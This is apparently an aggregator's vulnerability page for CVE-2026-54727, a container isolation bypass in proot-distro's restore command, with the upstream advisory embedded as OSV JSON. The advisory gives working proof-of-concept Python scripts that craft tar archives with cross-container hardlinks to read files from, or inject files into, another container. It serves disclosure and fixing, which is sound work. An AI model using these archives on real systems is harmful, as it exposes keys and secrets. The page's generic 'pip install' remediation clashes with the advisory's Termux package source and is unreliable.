CVE-2026-54727: Proot distro Proot-distro Has A Container Isolation Vulnerability
HIGHCVE-2026-54727 is a HIGH (CVSS 8.2) proot-distro has a container isolation vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Proot distro libraries in the PyPI ecosystem. The issue involves proot-distro has a container isolation bypass via crafted restore archive. Remediation is available by upgrading affected packages to version 5.1.6.
CVE-2026-54727 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-54727
To remediate this vulnerability, upgrade all affected Proot distro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install proot-distro>=5.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show proot-distro
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54727, inspect your installed packages using pip:
pip show proot-distro
Analyze the terminal output to locate any version of Proot distro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.6), your application is affected.
Note: The pip show proot-distro command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Proot distro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54727 Affected Proot distro Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
proot-distro
|
PyPI |
< 5.1.6
|
5.1.6
|
References
Frequently Asked Questions
What is CVE-2026-54727?
Which Proot distro versions are affected?
What version fixes CVE-2026-54727?
Is proot-distro affected?
What is the CVSS score of CVE-2026-54727?
What CWE is associated with CVE-2026-54727?
How can I check PyPI dependencies for CVE-2026-54727?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7h3g-4w2f-fj2f",
"modified" : "2026-07-29T16:42:11Z",
"published" : "2026-07-29T16:42:11Z",
"aliases" : [ "CVE-2026-54727" ],
"summary" : "proot-distro has a Container Isolation Bypass via Crafted Restore Archive",
"details" : "## Affected Component\n\n- **Package:** proot-distro\n- **Affected command:** `restore`\n- **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive\n- **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write\n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---|---|\n| proot-distro | 5.1.5 (confirmed affected) |\n| Test distro | Alpine Linux |\n| Architecture | aarch64 |\n| Device | Samsung Galaxy A23 |\n| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |\n\n---\n\n## Summary\n\nWhen restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.\n\nThe restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry.\n\nAlthough path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.\n\nAs a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.\n\n---\n\n## Proof of Concept #1 — Cross-Container File Disclosure\n\nAll testing was performed using self-owned containers and harmless marker data only.\n\n### Step 1 — Create a victim container and marker file\n\n```bash\nproot-distro install alpine --name victim\n\nproot-distro login victim -- sh -lc '\nmkdir -p /root\nprintf \"PROOF-12345\\n\" > /root/proof.txt\n'\n```\n\nVerification:\n\n```\nproot-distro login victim -- cat /root/proof.txt\n\nPROOF-12345\n```\n\n---\n\n### Step 2 — Create an attacker container\n\n```bash\nproot-distro install alpine --name attacker\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"malicious.tar\", \"w\")\n\nd = tarfile.TarInfo(\"attacker/rootfs/exfil\")\nd.type = tarfile.DIRTYPE\nd.mode = 0o755\ntf.addfile(d)\n\nh = tarfile.TarInfo(\"attacker/rootfs/exfil/stolen_key\")\nh.type = tarfile.LNKTYPE\nh.linkname = \"victim/rootfs/root/proof.txt\"\nh.mode = 0o600\ntf.addfile(h)\n\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./malicious.tar\n```\n\n---\n\n### Step 5 — Read the copied file from the attacker container\n\n```bash\nproot-distro run attacker -- cat /exfil/stolen_key\n```\n\nObserved output:\n\n```\nPROOF-12345\n```\n\nThis demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.\n\n---\n\n## Proof of Concept #2 — Cross-Container File Injection\n\n### Step 1 — Create attacker-controlled source data\n\n```bash\nproot-distro install alpine --name attacker\n\nproot-distro login attacker -- sh -lc '\nmkdir -p /root\nprintf \"ATTACKER_DATA\\n\" > /root/source.txt\n'\n```\n\n---\n\n### Step 2 — Create a victim container\n\n```bash\nproot-distro install alpine --name victim\n```\n\n---\n\n### Step 3 — Build a crafted archive\n\n```python\npython3 -c '\nimport tarfile\n\ntf = tarfile.open(\"write_test.tar\", \"w\")\n\nh = tarfile.TarInfo(\n \"victim/rootfs/root/copied_from_attacker.txt\"\n)\n\nh.type = tarfile.LNKTYPE\nh.linkname = \"attacker/rootfs/root/source.txt\"\nh.mode = 0o600\n\ntf.addfile(h)\ntf.close()\n'\n```\n\n---\n\n### Step 4 — Restore the crafted archive\n\n```bash\nproot-distro restore ./write_test.tar\n```\n\n---\n\n### Step 5 — Verify file injection into the victim container\n\n```bash\ncat \"$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt\"\n```\n\nObserved output:\n\n```\nATTACKER_DATA\n```\n\nThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.\n\n---\n\n## Impact\n\nAn attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.\n\nObserved impacts include:\n\n- Disclosure of files from other installed containers.\n- Injection of attacker-controlled files into other installed containers.\n- Exposure of SSH private keys.\n- Exposure of API credentials.\n- Exposure of configuration files containing secrets.\n- Exposure of application databases stored inside container rootfs directories.\n\nThe issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.\n\n---\n\n## Root Cause\n\nDuring hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field.\n\nThe resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.\n\nAs a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.\n\n---\n\n## Proposed Fix\n\n```python\nlink_container, link_src = _dest_path(member.linkname)\n\nif link_src is None:\n continue\n\nif link_container != container_name:\n continue\n\nlink_src = _safe_dest(\n link_container,\n link_src,\n follow_final=True\n)\n```\n\nThis preserves existing path traversal protections while restoring the expected isolation boundary between containers.\n\n---\n\n## Additional Notes\n\n- Issue reproduced on the official Termux package repository.\n- No root access was used.\n- No third-party data was accessed.\n- Testing used only self-owned containers and harmless marker data.\n- Cross-container disclosure reproduced using the marker value `PROOF-12345`.\n- Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "proot-distro"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.1.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.1.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
}, {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/termux/proot-distro"
}, {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-668" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-29T16:42:11Z",
"nvd_published_at" : null
}
}